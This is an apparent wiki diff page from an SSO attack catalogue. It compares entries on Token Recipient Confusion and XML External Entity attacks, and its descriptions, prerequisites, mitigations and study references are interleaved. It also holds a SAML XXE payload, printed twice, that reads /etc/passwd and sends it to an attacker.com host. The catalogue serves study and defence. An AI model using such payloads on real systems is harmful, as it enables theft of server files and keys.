Token Recipient Confusion and XML External Entity Attack: Difference between pages

From Single Sign-On Attacks
(Difference between pages)
Jump to navigation Jump to search
 
 
Line 1: Line 1:
=Introduction=
=Introduction=
In real-life SSO, there exist multiple ''Software-as-a-Service Cloud Provider (SaaS-CP)'' federating with the same ''Identity Provider (IdP)''. In order to distinguish the authentication tokens generated
XML offers the possibility to describe the document’s structure by using a [https://en.wikipedia.org/wiki/Document_type_definition ''Document Type Definition (DTD)'']. Unfortunately, the usage of these features can lead to security vulnerabilities enabling very efficient [https://en.wikipedia.org/wiki/Denial-of-service_attack ''Denial-of-Service attacks (DoS)''] or allowing unauthorized access to files stored on the target ''Software-as-a-Service Cloud Provider (SaaS-CP)'', for example, ''/etc/passwd'' or key files.
for different ''SaaS-CPs'', each token contains information ''D'' about its recipient. In most cases this is the URL of the ''SaaS-CP'' for which the token was generated.
The attacker sends an XML document containing an Entity, which points to a file stored on the local filesystem. The vulnerable application parses
The goal of ''Token Recipient Confusion (TRC)'' is to use an authentication token '''t_A''' generated for a service '''S_A''' on a second service '''S_target'''. The attack is considered successful if '''S_target''' becomes “confused” by the recipient of the token and accepts '''t_A''' as valid.
the XML document and processes the defined DTD. The DTD contains an External Entity reading a resource from the filesystem, in this case the ''/etc/passwd'' file, and sends the content to the attacker.
According to [http://www.cvedetails.com/cve/CVE-2008-3891], this type of attacks is classified as critical, since information disclosure or privilege escalation is possible. A dishonest user can redeem his tokens on different services and get unauthorized access to restricted resources. Furthermore, a malicious ''SaaS-CP'' could collect authentication tokens and forward them to other SPs in order to get login in arbitrary accounts.
As a result the attacker breaks out of the usual processing schema and bypasses the security verification provided by the SSO-Verificator plus ''Authorization & Access Managment (AAM)'' and reads locally stored files.
This attack also targets the SSO Verificator, which is responsible for checking the restrictions regarding the destination of the token, ''D''. In the SAML context, specifically the ''AudienceRestricton'' and ''Recipient'' elements are relevant for this attack type.
 


=Attack subtypes=
=Attack subtypes=
Line 11: Line 9:


=Prerequisites=
=Prerequisites=
The attacker has access to a valid token. An additional requirement is that both services ('''S_A''' and '''S_target''') have to be federating with the same ''IdP''. This is a realistic assumption since an IdP usually offers authentication services for multiple ''SaaS-CPs''.
In order to start ''XML External Entity attack (XXEA)'', the attacker only has to create a valid XML message containing a DTD. Note that the message does not have to be a [http://www.sso-attacks.org/SAML SAML] token.


=Target=
=Target=
[[File:Target_Verificator.jpg|centre|600px]]
[[File:Target_Parser.jpg|centre|600px]]
The attacked Single Sign-On component is marked in red colour.
<br> The attacked Single Sign-On component is marked in red colour.


=Description=
=Description=
There are two different approaches for a ''TRC'' exploit: <br>
[[File:XEEA.jpg|centre|600px]]
'''Exploit 1:''' Suppose, that ''SaaS-CPs'' '''S_A''' and '''S_target''' are accepting tokens from the same ''IdP'', and the attacker does not have access to '''S_target'''. The attacker does, however, have legitimate account on '''S_A''', thus, he can request a token '''t_A = (..., D_A, ...)''' from the ''IdP''. By sending '''t_A''' to '''S_target''' (instead of '''S_A'''), the attack is performed. It is considered successful if '''t_A''' is accepted by '''S_target'''; the attacker is thus logged in with the same account name as he has for '''S_A''' and gets access to '''S_target'''’s corresponding resources.
 
An example exploit is shown in Listing 1. The XML message contains two External Entities. The first Entity ('''file''') will read the content of the protected resource. The second Entity ('''send''') is used to send this content to a web server controlled by the attacker via a ''GET'' parameter. If the ''SaaS-CP'' reflects the content of the file Entity in the HTML response, which will be automatically displayed in the attacker’s browser, the send Entity is unnecessary. However, this is rarely the case for ''SAML'' token verification.
 
''XXEA'' allows an attacker to read arbitrary files within the context of the used web server. Particularly, it is possible to read configuration and SSL keystore files.
 
<source lang=xml>
 
<?xml version="1.0" encoding="utf-􀀀8"?>
<!DOCTYPE Response [
<!ENTITY file SYSTEM "/etc/passwd">
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;">
]>
<samlp:Response>
  <attack>&send;</attack>
</samlp:Response>


'''Exploit 2:''' Alternatively, the attacker can set up his own ''SaaS-CP'' ('''S_bad''') offering some service for registered users (e.g., a weather
</source>
forecast). To authenticate to '''S_bad''', SSO is used and the attacker specifically federates it with the same ''IdP'' used by '''S_target'''. After
Listing 1: XML message containing the XXE attack vector.
that, the attacker lures his victim (a legitimate user of '''S_target''') to register with and authenticate to '''S_bad'''. Instead of or in addition
to its usual service (weather forecast), '''S_bad''' stores all tokens in a database so that the attacker can access them. The attacker can then
try to use the tokens to log in on '''S_target''' as the victim. The attack is considered successful if an authentication token '''t_bad''' issued for the victim for service '''S_bad''' is successfully verified on '''S_target'''.


[[File:Token_Recipient_Confusion.jpg|centre]] <br>
The listing only sketches the concept of the attack. The code as shown will not work on most XML parsers, because the usage of the External Entity file within the External Entity send is not allowed.
SAML token addressed for service '''S_A''' will be sent to '''S_target'''.


=Mitigation / Countermeasures=
=Mitigation / Countermeasures=
To mitigate the TRC attack, the SP should verify whether the '''D_A'''. SP parameter contained in '''t_A''' matches its own '''D_A'''. In terms of SAML this means, that '''S_target''' needs to verify the URL in the conditions ''AudienceRestricton'' and ''Recipient'' elements to match its own URL.
To prohibit ''XXEA'', the processing of ''DTD''s should be disabled. XML Schema can be used to verify the structure of XML messages.


=Practical Examples=
=Practical Examples=
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out, that different frameworks were vulnerable to this attack: Zendesk, Clarizen, SAManage, Shiftplanning, Panorama9, UserVoice (Marketing), Instructure, The Resumator, BambooHR, AppDynamics, Panopto, TimeOffManager, HappyFox, ScreenSteps Live, LiveHive, Howlr and CA Service Management.
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that several frameworks were vulnerable to this attack, as shown in the picture bellow.
[[File:Study table.png|centre|200px]]




[[Category:Attack_Categorisation_By_Attacker_Model:_Access_to_Valid_Token]]
[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Confidentiality]]
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Confidentiality]]
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Availability]]
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP_and_IdP]]
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Integrity]]
[[Category:Attack_Categorisation_By_Attack_Spreading:Application_Specific_Flaws]]
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]
[[Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_XML_Parser]]
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Verificator]]
[[Category:Attack_Categorisation_By_Attacked_Single_Sign-On_Component:_Parser]]
[[Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws]]
[[Category:Attack_Categorisation_By_Attack_on_SAML]]


=References=
=References=
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).<br>
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).<br>
[http://www.cvedetails.com/cve/CVE-2008-3891 CVE-2008-3891] <br>
Andreas Falkenberg, Christian Mainka, Juraj Somorovsky, and Jorg Schwenk. A New Approach towards DoS Penetration Testing on Web Services. 2013 IEEE 20th International Conference on Web Services, 0:491–498, 2013.
[https://www.oasis-open.org/committees/download.php/27819/sstc-saml-tech-overview-2.0-cd-02.pdf Security Assertion Markup Language (SAML) V2.0 Technical Overview]
<br> [http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Christian Mainka. Detecting and exploiting XXE in SAML Interfaces, 2014.]
<br>
[http://ws-attacks.org/index.php/XML_External_Entity_DOS XML External Entity DOS]
<br>
[http://http://ws-attacks.org/index.php/XML_Entity_Expansion XML Entity Expansion]
<br>
[http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Detecting and exploting XXE in Saml]

Latest revision as of 20:11, 26 January 2016

Introduction

XML offers the possibility to describe the document’s structure by using a Document Type Definition (DTD). Unfortunately, the usage of these features can lead to security vulnerabilities enabling very efficient Denial-of-Service attacks (DoS) or allowing unauthorized access to files stored on the target Software-as-a-Service Cloud Provider (SaaS-CP), for example, /etc/passwd or key files. The attacker sends an XML document containing an Entity, which points to a file stored on the local filesystem. The vulnerable application parses the XML document and processes the defined DTD. The DTD contains an External Entity reading a resource from the filesystem, in this case the /etc/passwd file, and sends the content to the attacker. As a result the attacker breaks out of the usual processing schema and bypasses the security verification provided by the SSO-Verificator plus Authorization & Access Managment (AAM) and reads locally stored files.

Attack subtypes

There are no attack subtypes for this attack.

Prerequisites

In order to start XML External Entity attack (XXEA), the attacker only has to create a valid XML message containing a DTD. Note that the message does not have to be a SAML token.

Target


The attacked Single Sign-On component is marked in red colour.

Description

An example exploit is shown in Listing 1. The XML message contains two External Entities. The first Entity (file) will read the content of the protected resource. The second Entity (send) is used to send this content to a web server controlled by the attacker via a GET parameter. If the SaaS-CP reflects the content of the file Entity in the HTML response, which will be automatically displayed in the attacker’s browser, the send Entity is unnecessary. However, this is rarely the case for SAML token verification.

XXEA allows an attacker to read arbitrary files within the context of the used web server. Particularly, it is possible to read configuration and SSL keystore files.

<?xml version="1.0" encoding="utf-􀀀8"?>
<!DOCTYPE Response [
<!ENTITY file SYSTEM "/etc/passwd">
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;">
]>
<samlp:Response>
  <attack>&send;</attack>
</samlp:Response>

Listing 1: XML message containing the XXE attack vector.

The listing only sketches the concept of the attack. The code as shown will not work on most XML parsers, because the usage of the External Entity file within the External Entity send is not allowed.

Mitigation / Countermeasures

To prohibit XXEA, the processing of DTDs should be disabled. XML Schema can be used to verify the structure of XML messages.

Practical Examples

In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that several frameworks were vulnerable to this attack, as shown in the picture bellow.

References

C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).
Andreas Falkenberg, Christian Mainka, Juraj Somorovsky, and Jorg Schwenk. A New Approach towards DoS Penetration Testing on Web Services. 2013 IEEE 20th International Conference on Web Services, 0:491–498, 2013.
Christian Mainka. Detecting and exploiting XXE in SAML Interfaces, 2014.
XML External Entity DOS
XML Entity Expansion
Detecting and exploting XXE in Saml